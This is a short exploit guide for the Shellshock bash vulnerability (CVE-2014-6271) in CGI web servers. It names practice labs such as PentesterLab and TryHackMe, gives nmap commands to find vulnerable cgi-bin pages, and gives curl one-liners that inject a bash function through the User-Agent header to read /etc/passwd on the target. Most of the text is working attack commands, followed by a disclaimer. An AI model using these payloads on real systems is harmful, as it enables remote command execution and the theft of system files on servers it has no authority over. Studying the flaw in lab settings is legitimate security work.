Shellshock Exploitation (CVE-2014-6271)

Shellshock is effectively a Remote Command Execution vulnerability in BASH. This script exploits the vulnerability in the web environment on apache or similar with mod_cgi enabled. The vulnerability lies in the manipulation of environment variables, which are dynamic named values that impact how processes run on a computer. Attackers can exploit this by attaching malicious code to environment variables, which is executed upon receiving the variable. This allows attackers to potentially compromise the system.

Lab for vulnerability testing

• PentesterLab

• VulnHub

• TryHackMe

  

Find CGI-BIN pages:

$ nmap 192.168.x.x --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
$ nmap -sV -p- --script http-shellshock 192.168.x.x
$ nmap -sV -p- --script http-shellshock --script-args uri=/cgi-bin/bin,cmd=ls 192.168.x.x

Manual test:

sudo curl -H "User-Agent: () { :; }; /bin/cat /etc/passwd" <WEBSERVER-IP>
sudo curl -A "() { :;}; echo Content-Type: text/html; echo; /bin/cat /etc/passwd;" <WEBSERVER-IP>

Warning:

I am not responsible for any illegal use or damage caused by this tool. It was written for fun, not evil and is intended to raise awareness about hacking and cybersecurity

Good Hacking :)